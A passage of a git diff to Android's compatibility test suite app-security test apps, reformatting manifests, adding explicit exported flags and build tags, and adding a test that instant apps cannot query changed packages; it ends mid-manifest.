diff --git a/hostsidetests/appsecurity/test-apps/DocumentProvider/Android.bp b/hostsidetests/appsecurity/test-apps/DocumentProvider/Android.bp
index e7619c4..ab0f334 100644
--- a/hostsidetests/appsecurity/test-apps/DocumentProvider/Android.bp
+++ b/hostsidetests/appsecurity/test-apps/DocumentProvider/Android.bp
@@ -14,10 +14,6 @@
 // limitations under the License.
 //
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test_helper_app {
     name: "CtsDocumentProvider",
     defaults: ["cts_support_defaults"],
@@ -34,6 +30,7 @@
         "cts",
         "general-tests",
         "mts",
+        "sts",
     ],
     certificate: ":cts-testkey1",
     optimize: {
diff --git a/hostsidetests/appsecurity/test-apps/DocumentProvider/AndroidManifest.xml b/hostsidetests/appsecurity/test-apps/DocumentProvider/AndroidManifest.xml
index 86b134c..b5ea025 100644
--- a/hostsidetests/appsecurity/test-apps/DocumentProvider/AndroidManifest.xml
+++ b/hostsidetests/appsecurity/test-apps/DocumentProvider/AndroidManifest.xml
@@ -15,30 +15,32 @@
 -->
 
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
-          package="com.android.cts.documentprovider">
+     package="com.android.cts.documentprovider">
 
-    <uses-sdk android:minSdkVersion="29" android:targetSdkVersion="29"/>
+    <uses-sdk android:minSdkVersion="29"
+         android:targetSdkVersion="29"/>
 
     <application>
         <uses-library android:name="android.test.runner"/>
 
         <provider android:name=".MyDocumentsProvider"
-                android:authorities="com.android.cts.documentprovider"
-                android:exported="true"
-                android:grantUriPermissions="true"
-                android:permission="android.permission.MANAGE_DOCUMENTS">
+             android:authorities="com.android.cts.documentprovider"
+             android:exported="true"
+             android:grantUriPermissions="true"
+             android:permission="android.permission.MANAGE_DOCUMENTS">
             <intent-filter>
-                <action android:name="android.content.action.DOCUMENTS_PROVIDER" />
+                <action android:name="android.content.action.DOCUMENTS_PROVIDER"/>
             </intent-filter>
         </provider>
 
         <activity android:name=".GetContentActivity"
-                android:label="CtsGetContent">
+             android:label="CtsGetContent"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.intent.action.GET_CONTENT" />
-                <category android:name="android.intent.category.DEFAULT" />
-                <category android:name="android.intent.category.OPENABLE" />
-                <data android:mimeType="image/*" />
+                <action android:name="android.intent.action.GET_CONTENT"/>
+                <category android:name="android.intent.category.DEFAULT"/>
+                <category android:name="android.intent.category.OPENABLE"/>
+                <data android:mimeType="image/*"/>
             </intent-filter>
         </activity>
 
diff --git a/hostsidetests/appsecurity/test-apps/DocumentProvider/src/com/android/cts/documentprovider/MyDocumentsProvider.java b/hostsidetests/appsecurity/test-apps/DocumentProvider/src/com/android/cts/documentprovider/MyDocumentsProvider.java
index d75d4fc..c429885 100644
--- a/hostsidetests/appsecurity/test-apps/DocumentProvider/src/com/android/cts/documentprovider/MyDocumentsProvider.java
+++ b/hostsidetests/appsecurity/test-apps/DocumentProvider/src/com/android/cts/documentprovider/MyDocumentsProvider.java
@@ -494,7 +494,7 @@
 
         final PendingIntent pendingIntent = PendingIntent.getActivity(
                 getContext(), WEB_LINK_REQUEST_CODE, intent,
-                PendingIntent.FLAG_ONE_SHOT);
+                PendingIntent.FLAG_ONE_SHOT | PendingIntent.FLAG_MUTABLE_UNAUDITED);
         return pendingIntent.getIntentSender();
     }
 
diff --git a/hostsidetests/appsecurity/test-apps/DuplicatePermissionDeclareApp/Android.bp b/hostsidetests/appsecurity/test-apps/DuplicatePermissionDeclareApp/Android.bp
index 5f80327..6e6d949 100644
--- a/hostsidetests/appsecurity/test-apps/DuplicatePermissionDeclareApp/Android.bp
+++ b/hostsidetests/appsecurity/test-apps/DuplicatePermissionDeclareApp/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test_helper_app {
     name: "CtsDuplicatePermissionDeclareApp",
     defaults: ["cts_support_defaults"],
diff --git a/hostsidetests/appsecurity/test-apps/EncryptionApp/Android.bp b/hostsidetests/appsecurity/test-apps/EncryptionApp/Android.bp
index 2ced026..3826db1 100644
--- a/hostsidetests/appsecurity/test-apps/EncryptionApp/Android.bp
+++ b/hostsidetests/appsecurity/test-apps/EncryptionApp/Android.bp
@@ -14,10 +14,6 @@
 // limitations under the License.
 //
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test_helper_app {
     name: "CtsEncryptionApp",
     defaults: ["cts_support_defaults"],
diff --git a/hostsidetests/appsecurity/test-apps/EncryptionApp/AndroidManifest.xml b/hostsidetests/appsecurity/test-apps/EncryptionApp/AndroidManifest.xml
index d0dcd6d..bf896db 100644
--- a/hostsidetests/appsecurity/test-apps/EncryptionApp/AndroidManifest.xml
+++ b/hostsidetests/appsecurity/test-apps/EncryptionApp/AndroidManifest.xml
@@ -19,6 +19,7 @@
     <queries>
         <package android:name="com.android.cts.splitapp" />
     </queries>
+
     <uses-sdk android:targetSdkVersion="29"/>
     <application android:label="EncryptionApp">
         <activity android:name=".UnawareActivity"
diff --git a/hostsidetests/appsecurity/test-apps/EphemeralTestApp/EphemeralApp1/Android.bp b/hostsidetests/appsecurity/test-apps/EphemeralTestApp/EphemeralApp1/Android.bp
index 271fdbb..066996c 100644
--- a/hostsidetests/appsecurity/test-apps/EphemeralTestApp/EphemeralApp1/Android.bp
+++ b/hostsidetests/appsecurity/test-apps/EphemeralTestApp/EphemeralApp1/Android.bp
@@ -14,10 +14,6 @@
 // limitations under the License.
 //
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test_helper_app {
     name: "CtsEphemeralTestsEphemeralApp1",
     defaults: ["cts_support_defaults"],
diff --git a/hostsidetests/appsecurity/test-apps/EphemeralTestApp/EphemeralApp1/AndroidManifest.xml b/hostsidetests/appsecurity/test-apps/EphemeralTestApp/EphemeralApp1/AndroidManifest.xml
index ea12f85..841e7b2 100644
--- a/hostsidetests/appsecurity/test-apps/EphemeralTestApp/EphemeralApp1/AndroidManifest.xml
+++ b/hostsidetests/appsecurity/test-apps/EphemeralTestApp/EphemeralApp1/AndroidManifest.xml
@@ -15,118 +15,114 @@
 -->
 
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
-  package="com.android.cts.ephemeralapp1" >
-    <uses-sdk
-        android:minSdkVersion="24" android:targetSdkVersion="26" />
+     package="com.android.cts.ephemeralapp1">
+    <uses-sdk android:minSdkVersion="24"
+         android:targetSdkVersion="26"/>
 
-    <uses-permission android:name="com.android.alarm.permission.SET_ALARM" />
+    <uses-permission android:name="com.android.alarm.permission.SET_ALARM"/>
     <uses-permission android:name="android.permission.ACCESS_COARSE_LOCATION"/>
-    <uses-permission android:name="android.permission.ACCESS_NETWORK_STATE" />
-    <uses-permission android:name="android.permission.CAMERA" />
-    <uses-permission android:name="android.permission.INSTANT_APP_FOREGROUND_SERVICE" />
-    <uses-permission android:name="android.permission.INTERNET" />
-    <uses-permission android:name="android.permission.RECORD_AUDIO" />
-    <uses-permission android:name="android.permission.READ_PHONE_NUMBERS" />
-    <uses-permission android:name="android.permission.VIBRATE" />
-    <uses-permission android:name="android.permission.WAKE_LOCK" />
+    <uses-permission android:name="android.permission.ACCESS_NETWORK_STATE"/>
+    <uses-permission android:name="android.permission.CAMERA"/>
+    <uses-permission android:name="android.permission.INSTANT_APP_FOREGROUND_SERVICE"/>
+    <uses-permission android:name="android.permission.INTERNET"/>
+    <uses-permission android:name="android.permission.RECORD_AUDIO"/>
+    <uses-permission android:name="android.permission.READ_PHONE_NUMBERS"/>
+    <uses-permission android:name="android.permission.VIBRATE"/>
+    <uses-permission android:name="android.permission.WAKE_LOCK"/>
 
-    <application
-        android:label="@string/app_name">
-        <uses-library android:name="android.test.runner" />
-        <activity
-            android:name=".EphemeralActivity"
-            android:theme="@android:style/Theme.NoDisplay" >
+    <application android:label="@string/app_name">
+        <uses-library android:name="android.test.runner"/>
+        <activity android:name=".EphemeralActivity"
+             android:theme="@android:style/Theme.NoDisplay"
+             android:exported="true">
             <!-- TEST: normal app can start w/o knowing about this activity -->
             <intent-filter>
-                <action android:name="android.intent.action.VIEW" />
-                <category android:name="android.intent.category.DEFAULT" />
-                <category android:name="android.intent.category.BROWSABLE" />
-                <data android:scheme="https" />
-                <data android:host="cts.google.com" />
-                <data android:path="/ephemeral" />
+                <action android:name="android.intent.action.VIEW"/>
+                <category android:name="android.intent.category.DEFAULT"/>
+                <category android:name="android.intent.category.BROWSABLE"/>
+                <data android:scheme="https"/>
+                <data android:host="cts.google.com"/>
+                <data android:path="/ephemeral"/>
             </intent-filter>
             <!-- TEST: ephemeral apps can see this activity using query methods -->
             <!-- TEST: normal apps can't see this activity using query methods -->
             <intent-filter android:priority="0">
-                <action android:name="com.android.cts.ephemeraltest.QUERY" />
-                <category android:name="android.intent.category.DEFAULT" />
+                <action android:name="com.android.cts.ephemeraltest.QUERY"/>
+                <category android:name="android.intent.category.DEFAULT"/>
             </intent-filter>
             <!-- TEST: ephemeral apps can start this activity using directed intent -->
             <!-- TEST: normal apps can't start this activity using directed intent -->
             <intent-filter android:priority="0">
-                <action android:name="com.android.cts.ephemeraltest.START_EPHEMERAL" />
-                <category android:name="android.intent.category.DEFAULT" />
+                <action android:name="com.android.cts.ephemeraltest.START_EPHEMERAL"/>
+                <category android:name="android.intent.category.DEFAULT"/>
             </intent-filter>
             <intent-filter>
-                <action android:name="android.intent.action.SEARCH" />
+                <action android:name="android.intent.action.SEARCH"/>
             </intent-filter>
             <meta-data android:name="default-url"
-                       android:value="https://ephemeralapp1.cts.android.com/search" />
-            <meta-data
-                       android:name="android.app.searchable"
-                       android:resource="@xml/searchable" />
+                 android:value="https://ephemeralapp1.cts.android.com/search"/>
+            <meta-data android:name="android.app.searchable"
+                 android:resource="@xml/searchable"/>
         </activity>
-        <activity
-            android:name=".EphemeralResult"
-            android:theme="@android:style/Theme.NoDisplay" >
+        <activity android:name=".EphemeralResult"
+             android:theme="@android:style/Theme.NoDisplay"
+             android:exported="true">
             <!-- TEST: allow sending results from other instant apps -->
             <intent-filter>
-                <action android:name="android.intent.action.VIEW" />
-                <category android:name="android.intent.category.DEFAULT" />
-                <category android:name="android.intent.category.BROWSABLE" />
-                <data android:scheme="https" />
-                <data android:host="cts.google.com" />
-                <data android:path="/result" />
+                <action android:name="android.intent.action.VIEW"/>
+                <category android:name="android.intent.category.DEFAULT"/>
+                <category android:name="android.intent.category.BROWSABLE"/>
+                <data android:scheme="https"/>
+                <data android:host="cts.google.com"/>
+                <data android:path="/result"/>
             </intent-filter>
         </activity>
         <provider android:name=".SearchSuggestionProvider"
-            android:authorities="com.android.cts.ephemeralapp1.Search" />
+             android:authorities="com.android.cts.ephemeralapp1.Search"/>
 
-        <activity
-            android:name=".EphemeralActivity2"
-            android:theme="@android:style/Theme.NoDisplay">
+        <activity android:name=".EphemeralActivity2"
+             android:theme="@android:style/Theme.NoDisplay"
+             android:exported="true">
             <!-- TEST: ephemeral apps can start this activity using directed intent -->
             <!-- TEST: normal apps can't start this activity using directed intent -->
             <intent-filter android:priority="0">
-                <action android:name="com.android.cts.ephemeraltest.START_EPHEMERAL_PRIVATE" />
-                <category android:name="android.intent.category.DEFAULT" />
+                <action android:name="com.android.cts.ephemeraltest.START_EPHEMERAL_PRIVATE"/>
+                <category android:name="android.intent.category.DEFAULT"/>
             </intent-filter>
         </activity>
-        <activity
-            android:name=".EphemeralActivity3"
-            android:theme="@android:style/Theme.NoDisplay">
+        <activity android:name=".EphemeralActivity3"
+             android:theme="@android:style/Theme.NoDisplay">
             <!-- TEST: ephemeral apps can start this activity using directed intent -->
         </activity>
-        <activity android:name=".WebViewTestActivity" />
-        <service
-            android:name=".EphemeralService">
+        <activity android:name=".WebViewTestActivity"/>
+        <service android:name=".EphemeralService"
+             android:exported="true">
             <!-- TEST: ephemeral apps can see this service using query methods -->
             <intent-filter android:priority="0">
-                <action android:name="com.android.cts.ephemeraltest.QUERY" />
-                <category android:name="android.intent.category.DEFAULT" />
+                <action android:name="com.android.cts.ephemeraltest.QUERY"/>
+                <category android:name="android.intent.category.DEFAULT"/>
             </intent-filter>
             <!-- TEST: ephemeral apps can start this service using directed intent -->
             <intent-filter android:priority="-10">
-                <action android:name="com.android.cts.ephemeraltest.START_EPHEMERAL" />
-                <category android:name="android.intent.category.DEFAULT" />
+                <action android:name="com.android.cts.ephemeraltest.START_EPHEMERAL"/>
+                <category android:name="android.intent.category.DEFAULT"/>
             </intent-filter>
         </service>
 
-        <provider
-            android:name=".EphemeralProvider"
-            android:authorities="com.android.cts.ephemeralapp1.provider"
-            android:exported="true">
+        <provider android:name=".EphemeralProvider"
+             android:authorities="com.android.cts.ephemeralapp1.provider"
+             android:exported="true">
             <intent-filter android:priority="0">
-                <action android:name="com.android.cts.ephemeraltest.QUERY" />
+                <action android:name="com.android.cts.ephemeraltest.QUERY"/>
             </intent-filter>
         </provider>
         <service android:name=".SomeService"/>
 
-        <activity android:name=".StartForResultActivity" android:exported="false" />
+        <activity android:name=".StartForResultActivity"
+             android:exported="false"/>
 
     </application>
 
-    <instrumentation
-        android:name="androidx.test.runner.AndroidJUnitRunner"
-        android:targetPackage="com.android.cts.ephemeralapp1" />
+    <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
+         android:targetPackage="com.android.cts.ephemeralapp1"/>
 </manifest>
diff --git a/hostsidetests/appsecurity/test-apps/EphemeralTestApp/EphemeralApp1/src/com/android/cts/ephemeralapp1/ClientTest.java b/hostsidetests/appsecurity/test-apps/EphemeralTestApp/EphemeralApp1/src/com/android/cts/ephemeralapp1/ClientTest.java
index 6905564..30a5767 100644
--- a/hostsidetests/appsecurity/test-apps/EphemeralTestApp/EphemeralApp1/src/com/android/cts/ephemeralapp1/ClientTest.java
+++ b/hostsidetests/appsecurity/test-apps/EphemeralTestApp/EphemeralApp1/src/com/android/cts/ephemeralapp1/ClientTest.java
@@ -29,6 +29,7 @@
 import static org.junit.Assert.assertSame;
 import static org.junit.Assert.assertThat;
 import static org.junit.Assert.fail;
+import static org.testng.Assert.assertNull;
 import static org.testng.Assert.assertThrows;
 
 import android.Manifest;
@@ -44,6 +45,7 @@
 import android.content.IntentFilter;
 import android.content.ServiceConnection;
 import android.content.pm.ActivityInfo;
+import android.content.pm.ChangedPackages;
 import android.content.pm.PackageInfo;
 import android.content.pm.PackageManager;
 import android.content.pm.ProviderInfo;
@@ -1427,6 +1429,16 @@
         }
     }
 
+    /** Tests getting changed packages for instant app. */
+    @Test
+    public void testGetChangedPackages() {
+        final PackageManager pm = InstrumentationRegistry.getContext().getPackageManager();
+
+        // Instant apps can't get changed packages.
+        final ChangedPackages changedPackages = pm.getChangedPackages(0);
+        assertNull(changedPackages);
+    }
+
     /** Returns {@code true} if the given filter handles all web URLs, regardless of host. */
     private boolean handlesAllWebData(IntentFilter filter) {
         return filter.hasCategory(Intent.CATEGORY_APP_BROWSER) ||
diff --git a/hostsidetests/appsecurity/test-apps/EphemeralTestApp/EphemeralApp2/Android.bp b/hostsidetests/appsecurity/test-apps/EphemeralTestApp/EphemeralApp2/Android.bp
index e34a72c..aa8aa3a 100644
--- a/hostsidetests/appsecurity/test-apps/EphemeralTestApp/EphemeralApp2/Android.bp
+++ b/hostsidetests/appsecurity/test-apps/EphemeralTestApp/EphemeralApp2/Android.bp
@@ -14,10 +14,6 @@
 // limitations under the License.
 //
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test_helper_app {
     name: "CtsEphemeralTestsEphemeralApp2",
     defaults: ["cts_support_defaults"],
diff --git a/hostsidetests/appsecurity/test-apps/EphemeralTestApp/EphemeralApp2/AndroidManifest.xml b/hostsidetests/appsecurity/test-apps/EphemeralTestApp/EphemeralApp2/AndroidManifest.xml
index 3d814d8..415b268 100644
--- a/hostsidetests/appsecurity/test-apps/EphemeralTestApp/EphemeralApp2/AndroidManifest.xml
+++ b/hostsidetests/appsecurity/test-apps/EphemeralTestApp/EphemeralApp2/AndroidManifest.xml
@@ -15,68 +15,63 @@
 -->
 
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
-  package="com.android.cts.ephemeralapp2" >
-    <uses-sdk
-        android:minSdkVersion="24" android:targetSdkVersion="26" />
+     package="com.android.cts.ephemeralapp2">
+    <uses-sdk android:minSdkVersion="24"
+         android:targetSdkVersion="26"/>
 
     <!-- TEST: exists only for testing ephemeral app1 can't see this app -->
-    <application
-        android:label="@string/app_name">
-        <uses-library android:name="android.test.runner" />
-        <activity
-          android:name=".EphemeralActivity"
-          android:theme="@android:style/Theme.NoDisplay">
+    <application android:label="@string/app_name">
+        <uses-library android:name="android.test.runner"/>
+        <activity android:name=".EphemeralActivity"
+             android:theme="@android:style/Theme.NoDisplay"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.intent.action.VIEW" />
-                <category android:name="android.intent.category.DEFAULT" />
-                <category android:name="android.intent.category.BROWSABLE" />
-                <data android:scheme="https" />
-                <data android:host="cts.google.com" />
-                <data android:path="/other" />
+                <action android:name="android.intent.action.VIEW"/>
+                <category android:name="android.intent.category.DEFAULT"/>
+                <category android:name="android.intent.category.BROWSABLE"/>
+                <data android:scheme="https"/>
+                <data android:host="cts.google.com"/>
+                <data android:path="/other"/>
             </intent-filter>
             <intent-filter android:priority="0">
-                <action android:name="com.android.cts.ephemeraltest.QUERY" />
-                <category android:name="android.intent.category.DEFAULT" />
+                <action android:name="com.android.cts.ephemeraltest.QUERY"/>
+                <category android:name="android.intent.category.DEFAULT"/>
             </intent-filter>
             <intent-filter android:priority="0">
-                <action android:name="com.android.cts.ephemeraltest.START_EPHEMERAL" />
-                <category android:name="android.intent.category.DEFAULT" />
+                <action android:name="com.android.cts.ephemeraltest.START_EPHEMERAL"/>
+                <category android:name="android.intent.category.DEFAULT"/>
             </intent-filter>
             <intent-filter android:priority="0">
-                <action android:name="com.android.cts.ephemeraltest.START_OTHER_EPHEMERAL" />
-                <category android:name="android.intent.category.DEFAULT" />
+                <action android:name="com.android.cts.ephemeraltest.START_OTHER_EPHEMERAL"/>
+                <category android:name="android.intent.category.DEFAULT"/>
             </intent-filter>
             <intent-filter>
-                <action android:name="android.intent.action.SEARCH" />
+                <action android:name="android.intent.action.SEARCH"/>
             </intent-filter>
             <meta-data android:name="default-url"
-                       android:value="https://ephemeralapp2.cts.android.com/search" />
-            <meta-data
-                       android:name="android.app.searchable"
-                       android:resource="@xml/searchable" />
+                 android:value="https://ephemeralapp2.cts.android.com/search"/>
+            <meta-data android:name="android.app.searchable"
+                 android:resource="@xml/searchable"/>
         </activity>
         <provider android:name=".SearchSuggestionProvider"
-            android:authorities="com.android.cts.ephemeralapp2.Search" />
+             android:authorities="com.android.cts.ephemeralapp2.Search"/>
 
 
         <!-- This should still not be visible to other Instant Apps -->
-        <activity
-            android:name=".ExposedActivity"
-            android:visibleToInstantApps="true"
-            android:theme="@android:style/Theme.NoDisplay" />
+        <activity android:name=".ExposedActivity"
+             android:visibleToInstantApps="true"
+             android:theme="@android:style/Theme.NoDisplay"/>
 
         <!-- This should still not be visible to other Instant Apps -->
-        <provider
-            android:name=".EphemeralProvider"
-            android:authorities="com.android.cts.ephemeralapp2.provider"
-            android:exported="true">
+        <provider android:name=".EphemeralProvider"
+             android:authorities="com.android.cts.ephemeralapp2.provider"
+             android:exported="true">
             <intent-filter android:priority="0">
-                <action android:name="com.android.cts.ephemeraltest.QUERY" />
+                <action android:name="com.android.cts.ephemeraltest.QUERY"/>
             </intent-filter>
         </provider>
     </application>
 
-    <instrumentation
-        android:name="androidx.test.runner.AndroidJUnitRunner"
-        android:targetPackage="com.android.cts.ephemeralapp2" />
+    <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
+         android:targetPackage="com.android.cts.ephemeralapp2"/>
 </manifest>
diff --git a/hostsidetests/appsecurity/test-apps/EphemeralTestApp/ImplicitlyExposedApp/Android.bp b/hostsidetests/appsecurity/test-apps/EphemeralTestApp/ImplicitlyExposedApp/Android.bp
index 2e0c1d0..5a2a252 100644
--- a/hostsidetests/appsecurity/test-apps/EphemeralTestApp/ImplicitlyExposedApp/Android.bp
+++ b/hostsidetests/appsecurity/test-apps/EphemeralTestApp/ImplicitlyExposedApp/Android.bp
@@ -14,10 +14,6 @@
 // limitations under the License.
 //
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test_helper_app {
     name: "CtsEphemeralTestsImplicitApp",
     defaults: ["cts_support_defaults"],
diff --git a/hostsidetests/appsecurity/test-apps/EphemeralTestApp/ImplicitlyExposedApp/AndroidManifest.xml b/hostsidetests/appsecurity/test-apps/EphemeralTestApp/ImplicitlyExposedApp/AndroidManifest.xml
index d9136d5..33f2c4f 100644
--- a/hostsidetests/appsecurity/test-apps/EphemeralTestApp/ImplicitlyExposedApp/AndroidManifest.xml
+++ b/hostsidetests/appsecurity/test-apps/EphemeralTestApp/ImplicitlyExposedApp/AndroidManifest.xml
@@ -15,29 +15,26 @@
 -->
 
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
-    package="com.android.cts.implicitapp">
-    <uses-sdk
-        android:minSdkVersion="24" />
+     package="com.android.cts.implicitapp">
+    <uses-sdk android:minSdkVersion="24"/>
 
-    <application
-        android:label="@string/app_name">
-        <uses-library android:name="android.test.runner" />
-        <activity
-            android:name=".ImplicitActivity"
-            android:theme="@android:style/Theme.NoDisplay">
+    <application android:label="@string/app_name">
+        <uses-library android:name="android.test.runner"/>
+        <activity android:name=".ImplicitActivity"
+             android:theme="@android:style/Theme.NoDisplay"
+             android:exported="true">
             <!-- TEST: implicitly exposes this activity to instant apps -->
             <intent-filter>
-                <action android:name="android.intent.action.VIEW" />
-                <category android:name="android.intent.category.DEFAULT" />
-                <category android:name="android.intent.category.BROWSABLE" />
-                <data android:scheme="https" />
-                <data android:host="cts.google.com" />
-                <data android:path="/implicit" />
+                <action android:name="android.intent.action.VIEW"/>
+                <category android:name="android.intent.category.DEFAULT"/>
+                <category android:name="android.intent.category.BROWSABLE"/>
+                <data android:scheme="https"/>
+                <data android:host="cts.google.com"/>
+                <data android:path="/implicit"/>
             </intent-filter>
         </activity>
     </application>
 
-    <instrumentation
-        android:name="androidx.test.runner.AndroidJUnitRunner"
-        android:targetPackage="com.android.cts.implicitapp" />
+    <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
+         android:targetPackage="com.android.cts.implicitapp"/>
 </manifest>
diff --git a/hostsidetests/appsecurity/test-apps/EphemeralTestApp/NormalApp/Android.bp b/hostsidetests/appsecurity/test-apps/EphemeralTestApp/NormalApp/Android.bp
index 9ccf83d..c75b9e6 100644
--- a/hostsidetests/appsecurity/test-apps/EphemeralTestApp/NormalApp/Android.bp
+++ b/hostsidetests/appsecurity/test-apps/EphemeralTestApp/NormalApp/Android.bp
@@ -14,16 +14,14 @@
 // limitations under the License.
 //
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test_helper_app {
     name: "CtsEphemeralTestsNormalApp",
     defaults: ["cts_support_defaults"],
     static_libs: [
         "cts-aia-util",
         "androidx.test.rules",
+        "compatibility-device-util-axt",
+        "truth-prebuilt",
     ],
     libs: ["android.test.base"],
     // tag this module as a cts test artifact
diff --git a/hostsidetests/appsecurity/test-apps/EphemeralTestApp/NormalApp/AndroidManifest.xml b/hostsidetests/appsecurity/test-apps/EphemeralTestApp/NormalApp/AndroidManifest.xml
index e577260..6084e95 100644
--- a/hostsidetests/appsecurity/test-apps/EphemeralTestApp/NormalApp/AndroidManifest.xml
+++ b/hostsidetests/appsecurity/test-apps/EphemeralTestApp/NormalApp/AndroidManifest.xml
@@ -15,123 +15,116 @@
 -->
 
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
-    package="com.android.cts.normalapp">
-    <uses-sdk
-        android:minSdkVersion="24" />
+     package="com.android.cts.normalapp">
+    <uses-sdk android:minSdkVersion="24"/>
 
     <uses-permission android:name="android.permission.WRITE_SECURE_SETTINGS"/>
-    <application
-        android:label="@string/app_name">
-        <uses-library android:name="android.test.runner" />
-        <activity
-            android:name=".NormalActivity"
-            android:theme="@android:style/Theme.NoDisplay">
+    <application android:label="@string/app_name">
+        <uses-library android:name="android.test.runner"/>
+        <activity android:name=".NormalActivity"
+             android:theme="@android:style/Theme.NoDisplay"
+             android:exported="true">
             <!-- TEST: ephemeral apps can't see this activity using query methods -->
             <intent-filter android:priority="-20">
-                <action android:name="com.android.cts.ephemeraltest.QUERY" />
-                <category android:name="android.intent.category.DEFAULT" />
+                <action android:name="com.android.cts.ephemeraltest.QUERY"/>
+                <category android:name="android.intent.category.DEFAULT"/>
             </intent-filter>
             <!-- TEST: ephemeral apps can't start this activity using directed intent -->
             <intent-filter>
-                <action android:name="com.android.cts.ephemeraltest.START_NORMAL" />
-                <category android:name="android.intent.category.DEFAULT" />
+                <action android:name="com.android.cts.ephemeraltest.START_NORMAL"/>
+                <category android:name="android.intent.category.DEFAULT"/>
             </intent-filter>
             <intent-filter>
-                <action android:name="android.intent.action.SEARCH" />
+                <action android:name="android.intent.action.SEARCH"/>
             </intent-filter>
             <meta-data android:name="default-url"
-                       android:value="https://normalapp.cts.android.com/search" />
-            <meta-data
-                       android:name="android.app.searchable"
-                       android:resource="@xml/searchable" />
+                 android:value="https://normalapp.cts.android.com/search"/>
+            <meta-data android:name="android.app.searchable"
+                 android:resource="@xml/searchable"/>
         </activity>
-        <activity
-            android:name=".NormalWebActivity"
-            android:theme="@android:style/Theme.NoDisplay">
+        <activity android:name=".NormalWebActivity"
+             android:theme="@android:style/Theme.NoDisplay"
+             android:exported="true">
             <!-- TEST: implicitly exposes this activity to ephemeral apps -->
             <intent-filter>
-                <action android:name="android.intent.action.VIEW" />
-                <category android:name="android.intent.category.DEFAULT" />
-                <category android:name="android.intent.category.BROWSABLE" />
-                <data android:scheme="https" />
-                <data android:host="cts.google.com" />
-                <data android:path="/normal" />
+                <action android:name="android.intent.action.VIEW"/>
+                <category android:name="android.intent.category.DEFAULT"/>
+                <category android:name="android.intent.category.BROWSABLE"/>
+                <data android:scheme="https"/>
+                <data android:host="cts.google.com"/>
+                <data android:path="/normal"/>
             </intent-filter>
         </activity>
-        <activity
-            android:name=".ExposedActivity"
-            android:visibleToInstantApps="true"
-            android:theme="@android:style/Theme.NoDisplay">
+        <activity android:name=".ExposedActivity"
+             android:visibleToInstantApps="true"
+             android:theme="@android:style/Theme.NoDisplay"
+             android:exported="true">
           <!-- TEST: ephemeral apps can see this activity using query methods -->
             <intent-filter android:priority="-10">
-                <action android:name="com.android.cts.ephemeraltest.QUERY" />
-                <category android:name="android.intent.category.DEFAULT" />
+                <action android:name="com.android.cts.ephemeraltest.QUERY"/>
+                <category android:name="android.intent.category.DEFAULT"/>
             </intent-filter>
             <!-- TEST: ephemeral apps can start this activity using directed intent -->
             <intent-filter android:priority="-10">
-                <action android:name="com.android.cts.ephemeraltest.START_EXPOSED" />
-                <category android:name="android.intent.category.DEFAULT" />
+                <action android:name="com.android.cts.ephemeraltest.START_EXPOSED"/>
+                <category android:name="android.intent.category.DEFAULT"/>
             </intent-filter>
             <intent-filter>
-                <action android:name="android.intent.action.SEARCH" />
+                <action android:name="android.intent.action.SEARCH"/>
             </intent-filter>
             <meta-data android:name="default-url"
-                       android:value="https://normalapp.cts.android.com/search" />
-            <meta-data
-                       android:name="android.app.searchable"
-                       android:resource="@xml/searchable" />
+                 android:value="https://normalapp.cts.android.com/search"/>
+            <meta-data android:name="android.app.searchable"
+                 android:resource="@xml/searchable"/>
         </activity>
         <provider android:name=".SearchSuggestionProvider"
-            android:authorities="com.android.cts.normalapp.Search" />
+             android:authorities="com.android.cts.normalapp.Search"/>
 
-        <service
-            android:name=".NormalService">
+        <service android:name=".NormalService"
+             android:exported="true">
             <!-- TEST: ephemeral apps can't see this service using query methods -->
             <intent-filter android:priority="-20">
-                <action android:name="com.android.cts.ephemeraltest.QUERY" />
-                <category android:name="android.intent.category.DEFAULT" />
+                <action android:name="com.android.cts.ephemeraltest.QUERY"/>
+                <category android:name="android.intent.category.DEFAULT"/>
             </intent-filter>
             <!-- TEST: ephemeral apps can't start this service using directed intent -->
             <intent-filter>
-                <action android:name="com.android.cts.ephemeraltest.START_NORMAL" />
-                <category android:name="android.intent.category.DEFAULT" />
+                <action android:name="com.android.cts.ephemeraltest.START_NORMAL"/>
+                <category android:name="android.intent.category.DEFAULT"/>
             </intent-filter>
         </service>
-        <service
-            android:name=".ExposedService"
-            android:visibleToInstantApps="true">
+        <service android:name=".ExposedService"
+             android:visibleToInstantApps="true"
+             android:exported="true">
             <!-- TEST: ephemeral apps can see this service using query methods -->
             <intent-filter android:priority="-10">
-                <action android:name="com.android.cts.ephemeraltest.QUERY" />
-                <category android:name="android.intent.category.DEFAULT" />
+                <action android:name="com.android.cts.ephemeraltest.QUERY"/>
+                <category android:name="android.intent.category.DEFAULT"/>
             </intent-filter>
             <!-- TEST: ephemeral apps can start this service using directed intent -->
             <intent-filter android:priority="-10">
-                <action android:name="com.android.cts.ephemeraltest.START_EXPOSED" />
-                <category android:name="android.intent.category.DEFAULT" />
+                <action android:name="com.android.cts.ephemeraltest.START_EXPOSED"/>
+                <category android:name="android.intent.category.DEFAULT"/>
             </intent-filter>
         </service>
 
-        <provider
-            android:name=".NormalProvider"
-            android:authorities="com.android.cts.normalapp.provider"
-            android:exported="true">
+        <provider android:name=".NormalProvider"
+             android:authorities="com.android.cts.normalapp.provider"
+             android:exported="true">
             <intent-filter android:priority="-20">
-                <action android:name="com.android.cts.ephemeraltest.QUERY" />
+                <action android:name="com.android.cts.ephemeraltest.QUERY"/>
             </intent-filter>
         </provider>
-        <provider
